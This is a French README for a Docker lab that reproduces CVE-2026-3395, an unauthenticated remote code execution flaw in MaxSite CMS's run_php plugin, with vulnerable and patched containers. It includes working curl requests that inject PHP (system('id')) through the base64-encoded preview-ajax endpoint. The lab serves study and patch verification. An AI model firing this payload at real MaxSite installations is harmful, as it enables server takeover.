
# Laboratoire Docker pédagogique démontrant la CVE-2026-3395, une RCE non authentifiée dans MaxSite CMS via le plugin run_php, avec des environnements vulnérables et corrigés pour une reproduction et une analyse sûres.
Ce dépôt est destiné uniquement à des fins éducatives et de recherche. Tous les tests doivent être effectués dans un environnement de laboratoire Docker local. Ne déployez pas cette configuration sur des systèmes publics ou de production.
CVE-2026-3395 affecte MaxSite CMS et permet un accès non authentifié à un point de terminaison AJAX administratif. Lorsque le plugin run_php est activé, les entrées utilisateur peuvent être évaluées comme code PHP via le système de hooks du CMS, ce qui peut conduire à une exécution de code à distance (RCE).
Ce dépôt comprend :
Le point de terminaison vulnérable se trouve à :
application/maxsite/admin/plugins/editor_markitup/preview-ajax.php
Dans la version vulnérable :
données POST) sont transmises via mso_hook()run_php traite les blocs [php]...[/php]eval()Si run_php est activé, cela entraîne une exécution de code à distance non authentifiée.
La version corrigée ajoute :
if (!is_login()) die('no login');
mso_checkreferer();
Cela restreint l'accès aux seuls utilisateurs authentifiés.
Ce laboratoire construit deux environnements :
| Environnement | Port |
|---|---|
| Vulnérable | 8081 |
| Corrigé | 8082 |
docker compose up -d --build
Cela va :
run_php dans la configuration du laboratoireOuvrez dans votre navigateur :
http://localhost:8081 (Vulnérable)
http://localhost:8082 (Corrigé)
Les deux instances devraient se charger correctement.

La route AJAX utilise un chemin encodé en base64.
Base64 de :
admin/plugins/editor_markitup/preview-ajax.php
est :
YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==
curl -X POST "http://localhost:8081/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Referer: http://localhost:8081/" \
--data-urlencode "data=[php]system('id');[/php]"

curl -X POST "http://localhost:8082/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Referer: http://localhost:8082/" \
--data-urlencode "data=[php]system('id');[/php]"
Résultat attendu :
no login

Pour arrêter les conteneurs :
docker compose down -v
Utilisez ce projet uniquement dans des environnements isolés à des fins de recherche et d'apprentissage.